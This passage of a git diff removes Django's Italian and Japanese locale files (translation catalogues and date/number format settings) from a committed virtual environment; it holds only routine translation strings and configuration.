carattere (ne " -"ha %(length)d)." -msgstr[1] "" -"Assicurati che questo nome di file non contenga più di %(max)d caratteri (ne " -"ha %(length)d)." -msgstr[2] "" -"Assicurati che questo nome di file non contenga più di %(max)d caratteri (ne " -"ha %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"È possibile inviare un file o selezionare la casella \"svuota\", ma non " -"entrambi." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Carica un'immagine valida. Il file caricato non è un'immagine o è " -"un'immagine danneggiata." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Scegli un'opzione valida. %(value)s non è tra quelle disponibili." - -msgid "Enter a list of values." -msgstr "Inserisci una lista di valori." - -msgid "Enter a complete value." -msgstr "Inserisci un valore completo." - -msgid "Enter a valid UUID." -msgstr "Inserire un UUID valido." - -msgid "Enter a valid JSON." -msgstr "Inserisci un JSON valido." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campo nascosto %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Mancano i dati ManagementForm o sono stati manomessi. Campi mancanti: " -"%(field_names)s. Potrebbe essere necessario inviare una segnalazione di " -"errore se il problema persiste." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Si prega di inviare al massimo %(num)d form." -msgstr[1] "Si prega di inviare al massimo %(num)d form." -msgstr[2] "Si prega di inviare al massimo %(num)d form." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Si prega di inviare almeno %(num)d form." -msgstr[1] "Si prega di inviare almeno %(num)d form." -msgstr[2] "Si prega di inviare almeno %(num)d form." - -msgid "Order" -msgstr "Ordine" - -msgid "Delete" -msgstr "Cancella" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Si prega di correggere i dati duplicati di %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Si prega di correggere i dati duplicati di %(field)s, che deve essere unico." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Si prega di correggere i dati duplicati di %(field_name)s che deve essere " -"unico/a per %(lookup)s in %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Si prega di correggere i dati duplicati qui sotto." - -msgid "The inline value did not match the parent instance." -msgstr "Il valore inline non corrisponde all'istanza padre." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Scegli un'opzione valida. La scelta effettuata non compare tra quelle " -"disponibili." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" non è un valore valido." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -" %(datetime)s non può essere interpretato nel fuso orario " -"%(current_timezone)s: potrebbe essere ambiguo o non esistere." - -msgid "Clear" -msgstr "Svuota" - -msgid "Currently" -msgstr "Attualmente" - -msgid "Change" -msgstr "Cambia" - -msgid "Unknown" -msgstr "Sconosciuto" - -msgid "Yes" -msgstr "Sì" - -msgid "No" -msgstr "No" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "sì,no,forse" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" -msgstr[2] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "mezzanotte" - -msgid "noon" -msgstr "mezzogiorno" - -msgid "Monday" -msgstr "Lunedì" - -msgid "Tuesday" -msgstr "Martedì" - -msgid "Wednesday" -msgstr "Mercoledì" - -msgid "Thursday" -msgstr "Giovedì" - -msgid "Friday" -msgstr "Venerdì" - -msgid "Saturday" -msgstr "Sabato" - -msgid "Sunday" -msgstr "Domenica" - -msgid "Mon" -msgstr "Lun" - -msgid "Tue" -msgstr "Mar" - -msgid "Wed" -msgstr "Mer" - -msgid "Thu" -msgstr "Gio" - -msgid "Fri" -msgstr "Ven" - -msgid "Sat" -msgstr "Sab" - -msgid "Sun" -msgstr "Dom" - -msgid "January" -msgstr "Gennaio" - -msgid "February" -msgstr "Febbraio" - -msgid "March" -msgstr "Marzo" - -msgid "April" -msgstr "Aprile" - -msgid "May" -msgstr "Maggio" - -msgid "June" -msgstr "Giugno" - -msgid "July" -msgstr "Luglio" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Settembre" - -msgid "October" -msgstr "Ottobre" - -msgid "November" -msgstr "Novembre" - -msgid "December" -msgstr "Dicembre" - -msgid "jan" -msgstr "gen" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mag" - -msgid "jun" -msgstr "giu" - -msgid "jul" -msgstr "lug" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "set" - -msgid "oct" -msgstr "ott" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dic" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Gen." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Marzo" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Aprile" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maggio" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Giugno" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Luglio" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Set." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Ott." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dic." - -msgctxt "alt. month" -msgid "January" -msgstr "Gennaio" - -msgctxt "alt. month" -msgid "February" -msgstr "Febbraio" - -msgctxt "alt. month" -msgid "March" -msgstr "Marzo" - -msgctxt "alt. month" -msgid "April" -msgstr "Aprile" - -msgctxt "alt. month" -msgid "May" -msgstr "Maggio" - -msgctxt "alt. month" -msgid "June" -msgstr "Giugno" - -msgctxt "alt. month" -msgid "July" -msgstr "Luglio" - -msgctxt "alt. month" -msgid "August" -msgstr "Agosto" - -msgctxt "alt. month" -msgid "September" -msgstr "Settembre" - -msgctxt "alt. month" -msgid "October" -msgstr "Ottobre" - -msgctxt "alt. month" -msgid "November" -msgstr "Novembre" - -msgctxt "alt. month" -msgid "December" -msgstr "Dicembre" - -msgid "This is not a valid IPv6 address." -msgstr "Questo non è un indirizzo IPv6 valido." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "o" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d anno" -msgstr[1] "%(num)d anni" -msgstr[2] "%(num)d anni" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mese" -msgstr[1] "%(num)d mesi" -msgstr[2] "%(num)d mesi" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d settimana" -msgstr[1] "%(num)d settimane" -msgstr[2] "%(num)d settimane" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d giorno" -msgstr[1] "%(num)d giorni" -msgstr[2] "%(num)d giorni" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d ora" -msgstr[1] "%(num)d ore" -msgstr[2] "%(num)d ore" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuto" -msgstr[1] "%(num)d minuti" -msgstr[2] "%(num)d minuti" - -msgid "Forbidden" -msgstr "Proibito" - -msgid "CSRF verification failed. Request aborted." -msgstr "Verifica CSRF fallita. Richiesta interrotta." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Vedi questo messaggio perchè questo sito HTTPS richiede l'invio da parte del " -"tuo browser del “Referer header”, che non è invece stato inviato. Questo " -"header è richiesto per motivi di sicurezza, per assicurare che il tuo " -"browser non sia stato sabotato da terzi." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Se hai configurato il tuo browser web per disattivare l'invio delle " -"intestazioni \"Referer\", riattiva questo invio, almeno per questo sito, o " -"per le connessioni HTTPS, o per le connessioni \"same-origin\"." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Se usi il tag o includi " -"header 'Referrer-Policy: no-referrer', per favore rimuovili. Per la " -"protezione CSRF è necessario eseguire un controllo rigoroso sull'header " -"'Referer'. Se ti preoccupano le ricadute sulla privacy, puoi ricorrere ad " -"alternative come per i link a siti di terze parti." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Stai vedendo questo messaggio perché questo sito richiede un cookie CSRF " -"quando invii dei form. Questo cookie è necessario per ragioni di sicurezza, " -"per assicurare che il tuo browser non sia stato dirottato da terze parti." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Se hai configurato il tuo browser web per disattivare l'invio dei cookies, " -"riattivalo almeno per questo sito, o per connessioni \"same-origin\"" - -msgid "More information is available with DEBUG=True." -msgstr "Maggiorni informazioni sono disponibili con DEBUG=True" - -msgid "No year specified" -msgstr "Anno non specificato" - -msgid "Date out of range" -msgstr "Data al di fuori dell'intervallo" - -msgid "No month specified" -msgstr "Mese non specificato" - -msgid "No day specified" -msgstr "Giorno non specificato" - -msgid "No week specified" -msgstr "Settimana non specificata" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Nessun %(verbose_name_plural)s disponibile" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s futuri/e non disponibili/e poichè %(class_name)s." -"allow_future è False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Data non valida \"%(datestr)s\" con il formato \"%(format)s\"" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Trovato nessun %(verbose_name)s corrispondente alla query" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "La pagina non è \"last\", né può essere convertita in un int." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Pagina non valida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Lista vuota e \"%(class_name)s.allow_empty\" è False." - -msgid "Directory indexes are not allowed here." -msgstr "Indici di directory non sono consentiti qui." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" non esiste" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Indice di %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Installazione completata con successo! Congratulazioni!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Leggi le note di rilascio per Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Stai vedendo questa pagina perché hai impostato DEBUG=True nel tuo file di configurazione e non hai " -"configurato nessun URL." - -msgid "Django Documentation" -msgstr "Documentazione di Django" - -msgid "Topics, references, & how-to’s" -msgstr "Temi, riferimenti, & guide" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: un'app per sondaggi" - -msgid "Get started with Django" -msgstr "Iniziare con Django" - -msgid "Django Community" -msgstr "La Community di Django" - -msgid "Connect, get help, or contribute" -msgstr "Connettiti, chiedi aiuto, o contribuisci." diff --git a/backend/venv/Lib/site-packages/django/conf/locale/it/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/it/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/it/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/it/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 1e69ee65..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/it/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/it/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/it/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 67f1dd17..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/it/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/it/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/it/formats.py deleted file mode 100644 index bb9e0270..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/it/formats.py +++ /dev/null @@ -1,43 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "d F Y" # 25 Ottobre 2006 -TIME_FORMAT = "H:i" # 14:30 -DATETIME_FORMAT = "l d F Y H:i" # Mercoledì 25 Ottobre 2006 14:30 -YEAR_MONTH_FORMAT = "F Y" # Ottobre 2006 -MONTH_DAY_FORMAT = "j F" # 25 Ottobre -SHORT_DATE_FORMAT = "d/m/Y" # 25/12/2009 -SHORT_DATETIME_FORMAT = "d/m/Y H:i" # 25/10/2009 14:30 -FIRST_DAY_OF_WEEK = 1 # Lunedì - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%Y/%m/%d", # '2006/10/25' - "%d-%m-%Y", # '25-10-2006' - "%Y-%m-%d", # '2006-10-25' - "%d-%m-%y", # '25-10-06' - "%d/%m/%y", # '25/10/06' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' - "%d/%m/%y %H:%M:%S", # '25/10/06 14:30:59' - "%d/%m/%y %H:%M:%S.%f", # '25/10/06 14:30:59.000200' - "%d/%m/%y %H:%M", # '25/10/06 14:30' - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d-%m-%Y %H:%M:%S", # '25-10-2006 14:30:59' - "%d-%m-%Y %H:%M:%S.%f", # '25-10-2006 14:30:59.000200' - "%d-%m-%Y %H:%M", # '25-10-2006 14:30' - "%d-%m-%y %H:%M:%S", # '25-10-06 14:30:59' - "%d-%m-%y %H:%M:%S.%f", # '25-10-06 14:30:59.000200' - "%d-%m-%y %H:%M", # '25-10-06 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ja/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ja/LC_MESSAGES/django.mo deleted file mode 100644 index d7dad0a5..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ja/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ja/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ja/LC_MESSAGES/django.po deleted file mode 100644 index ca8a726f..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ja/LC_MESSAGES/django.po +++ /dev/null @@ -1,1331 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# xiu1 , 2016 -# tadasu , 2020 -# Goto Hayato , 2021 -# Goto Hayato , 2019 -# Hiroki Sawano, 2022 -# Jannis Leidel , 2011 -# Kamiyama Satoshi, 2021 -# Kentaro Matsuzaki , 2015 -# Masashi SHIBATA , 2017 -# Nikita K , 2019 -# Shinichi Katsumata , 2019 -# Shinya Okano , 2012-2019,2021,2023-2024 -# TANIGUCHI Taichi, 2022 -# Takuro Onoue , 2020 -# Takuya N , 2020 -# Tetsuya Morimoto , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: Shinya Okano , " -"2012-2019,2021,2023-2024\n" -"Language-Team: Japanese (http://app.transifex.com/django/django/language/" -"ja/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ja\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "アフリカーンス語" - -msgid "Arabic" -msgstr "アラビア語" - -msgid "Algerian Arabic" -msgstr "アラビア語(アルジェリア)" - -msgid "Asturian" -msgstr "アストゥリアス語" - -msgid "Azerbaijani" -msgstr "アゼルバイジャン語" - -msgid "Bulgarian" -msgstr "ブルガリア語" - -msgid "Belarusian" -msgstr "ベラルーシ語" - -msgid "Bengali" -msgstr "ベンガル語" - -msgid "Breton" -msgstr "ブルトン語" - -msgid "Bosnian" -msgstr "ボスニア語" - -msgid "Catalan" -msgstr "カタロニア語" - -msgid "Central Kurdish (Sorani)" -msgstr "中央クルド語 (ソラニー語)" - -msgid "Czech" -msgstr "チェコ語" - -msgid "Welsh" -msgstr "ウェールズ語" - -msgid "Danish" -msgstr "デンマーク語" - -msgid "German" -msgstr "ドイツ語" - -msgid "Lower Sorbian" -msgstr "低地ソルブ語" - -msgid "Greek" -msgstr "ギリシャ語" - -msgid "English" -msgstr "英語(米国)" - -msgid "Australian English" -msgstr "英語(オーストラリア)" - -msgid "British English" -msgstr "英語(英国)" - -msgid "Esperanto" -msgstr "エスペラント語" - -msgid "Spanish" -msgstr "スペイン語" - -msgid "Argentinian Spanish" -msgstr "アルゼンチンスペイン語" - -msgid "Colombian Spanish" -msgstr "コロンビアスペイン語" - -msgid "Mexican Spanish" -msgstr "メキシコスペイン語" - -msgid "Nicaraguan Spanish" -msgstr "ニカラグアスペイン語" - -msgid "Venezuelan Spanish" -msgstr "ベネズエラスペイン語" - -msgid "Estonian" -msgstr "エストニア語" - -msgid "Basque" -msgstr "バスク語" - -msgid "Persian" -msgstr "ペルシア語" - -msgid "Finnish" -msgstr "フィンランド語" - -msgid "French" -msgstr "フランス語" - -msgid "Frisian" -msgstr "フリジア語" - -msgid "Irish" -msgstr "アイルランド語" - -msgid "Scottish Gaelic" -msgstr "ゲール語(スコットランド)" - -msgid "Galician" -msgstr "ガリシア語" - -msgid "Hebrew" -msgstr "ヘブライ語" - -msgid "Hindi" -msgstr "ヒンディー語" - -msgid "Croatian" -msgstr "クロアチア語" - -msgid "Upper Sorbian" -msgstr "高地ソルブ語" - -msgid "Hungarian" -msgstr "ハンガリー語" - -msgid "Armenian" -msgstr "アルメニア" - -msgid "Interlingua" -msgstr "インターリングア" - -msgid "Indonesian" -msgstr "インドネシア語" - -msgid "Igbo" -msgstr "イグボ語" - -msgid "Ido" -msgstr "イド語" - -msgid "Icelandic" -msgstr "アイスランド語" - -msgid "Italian" -msgstr "イタリア語" - -msgid "Japanese" -msgstr "日本語" - -msgid "Georgian" -msgstr "グルジア語" - -msgid "Kabyle" -msgstr "カビル語" - -msgid "Kazakh" -msgstr "カザフ語" - -msgid "Khmer" -msgstr "クメール語" - -msgid "Kannada" -msgstr "カンナダ語" - -msgid "Korean" -msgstr "韓国語" - -msgid "Kyrgyz" -msgstr "キルギス語" - -msgid "Luxembourgish" -msgstr "ルクセンブルグ語" - -msgid "Lithuanian" -msgstr "リトアニア語" - -msgid "Latvian" -msgstr "ラトビア語" - -msgid "Macedonian" -msgstr "マケドニア語" - -msgid "Malayalam" -msgstr "マラヤーラム語" - -msgid "Mongolian" -msgstr "モンゴル語" - -msgid "Marathi" -msgstr "マラーティー語" - -msgid "Malay" -msgstr "マレー語" - -msgid "Burmese" -msgstr "ビルマ語" - -msgid "Norwegian Bokmål" -msgstr "ノルウェーのブークモール" - -msgid "Nepali" -msgstr "ネパール語" - -msgid "Dutch" -msgstr "オランダ語" - -msgid "Norwegian Nynorsk" -msgstr "ノルウェーのニーノシュク" - -msgid "Ossetic" -msgstr "オセット語" - -msgid "Punjabi" -msgstr "パンジャブ語" - -msgid "Polish" -msgstr "ポーランド語" - -msgid "Portuguese" -msgstr "ポルトガル語" - -msgid "Brazilian Portuguese" -msgstr "ブラジルポルトガル語" - -msgid "Romanian" -msgstr "ルーマニア語" - -msgid "Russian" -msgstr "ロシア語" - -msgid "Slovak" -msgstr "スロバキア語" - -msgid "Slovenian" -msgstr "スロヴェニア語" - -msgid "Albanian" -msgstr "アルバニア語" - -msgid "Serbian" -msgstr "セルビア語" - -msgid "Serbian Latin" -msgstr "セルビア語ラテン文字" - -msgid "Swedish" -msgstr "スウェーデン語" - -msgid "Swahili" -msgstr "スワヒリ語" - -msgid "Tamil" -msgstr "タミル語" - -msgid "Telugu" -msgstr "テルグ語" - -msgid "Tajik" -msgstr "タジク語" - -msgid "Thai" -msgstr "タイ語" - -msgid "Turkmen" -msgstr "トルクメン語" - -msgid "Turkish" -msgstr "トルコ語" - -msgid "Tatar" -msgstr "タタール語" - -msgid "Udmurt" -msgstr "ウドムルト語" - -msgid "Uyghur" -msgstr "ウイグル語" - -msgid "Ukrainian" -msgstr "ウクライナ語" - -msgid "Urdu" -msgstr "ウルドゥー語" - -msgid "Uzbek" -msgstr "ウズベク語" - -msgid "Vietnamese" -msgstr "ベトナム語" - -msgid "Simplified Chinese" -msgstr "簡体字中国語" - -msgid "Traditional Chinese" -msgstr "繁体字中国語" - -msgid "Messages" -msgstr "メッセージ" - -msgid "Site Maps" -msgstr "サイトマップ" - -msgid "Static Files" -msgstr "静的ファイル" - -msgid "Syndication" -msgstr "シンジケーション" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "このページ番号は整数ではありません。" - -msgid "That page number is less than 1" -msgstr "ページ番号が 1 よりも小さいです。" - -msgid "That page contains no results" -msgstr "このページには結果が含まれていません。" - -msgid "Enter a valid value." -msgstr "値を正しく入力してください。" - -msgid "Enter a valid domain name." -msgstr "有効なドメイン名を入力してください。" - -msgid "Enter a valid URL." -msgstr "URLを正しく入力してください。" - -msgid "Enter a valid integer." -msgstr "整数を正しく入力してください。" - -msgid "Enter a valid email address." -msgstr "有効なメールアドレスを入力してください。" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"“slug” には半角の英数字、アンダースコア、ハイフン以外は使用できません。" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"ユニコード文字、数字、アンダースコアまたはハイフンで構成された、有効なスラグ" -"を入力してください。" - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "有効な%(protocol)sアドレスを入力してください。" - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4またはIPv6" - -msgid "Enter only digits separated by commas." -msgstr "カンマ区切りの数字だけを入力してください。" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"この値は %(limit_value)s でなければなりません(実際には %(show_value)s でし" -"た) 。" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "この値は %(limit_value)s 以下でなければなりません。" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "この値は %(limit_value)s 以上でなければなりません。" - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "この値は %(limit_value)s の倍数でなければなりません。" - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"この値は%(offset)s から始まる %(limit_value)s の倍数でなければなりません。" -"例. %(offset)s%(valid_value1)s%(valid_value2)s など。" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"この値が少なくとも %(limit_value)d 文字以上であることを確認してください " -"(%(show_value)d 文字になっています)。" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"この値は %(limit_value)d 文字以下でなければなりません( %(show_value)d 文字に" -"なっています)。" - -msgid "Enter a number." -msgstr "数値を入力してください。" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "この値は合計 %(max)s 桁以内でなければなりません。" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "この値は小数点以下が合計 %(max)s 桁以内でなければなりません。" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "この値は小数点より前が合計 %(max)s 桁以内でなければなりません。" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"ファイル拡張子 “%(extension)s” は許可されていません。許可されている拡張子は " -"%(allowed_extensions)s です。" - -msgid "Null characters are not allowed." -msgstr "何か文字を入力してください。" - -msgid "and" -msgstr "と" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "この %(field_labels)s を持った %(model_name)s が既に存在します。" - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "制約 “%(name)s” に違反しています。" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r は有効な選択肢ではありません。" - -msgid "This field cannot be null." -msgstr "このフィールドには NULL を指定できません。" - -msgid "This field cannot be blank." -msgstr "このフィールドは空ではいけません。" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "この %(field_label)s を持った %(model_name)s が既に存在します。" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(date_field_label)s %(lookup_type)s では %(field_label)s がユニークである必" -"要があります。" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "タイプが %(field_type)s のフィールド" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” は True または False にしなければなりません。" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s” は True 、 False または None の値でなければなりません。" - -msgid "Boolean (Either True or False)" -msgstr "ブール値 (真: True または偽: False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "文字列 ( %(max_length)s 字まで )" - -msgid "String (unlimited)" -msgstr "文字列 (無制限)" - -msgid "Comma-separated integers" -msgstr "カンマ区切りの整数" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” は無効な日付形式です。YYYY-MM-DD 形式にしなければなりません。" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "“%(value)s” は有効な日付形式(YYYY-MM-DD)ですが、不正な日付です。" - -msgid "Date (without time)" -msgstr "日付" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” は無効な形式の値です。 YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ] 形式で" -"なければなりません。" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” は正しい形式 (YYYY-MM-DD 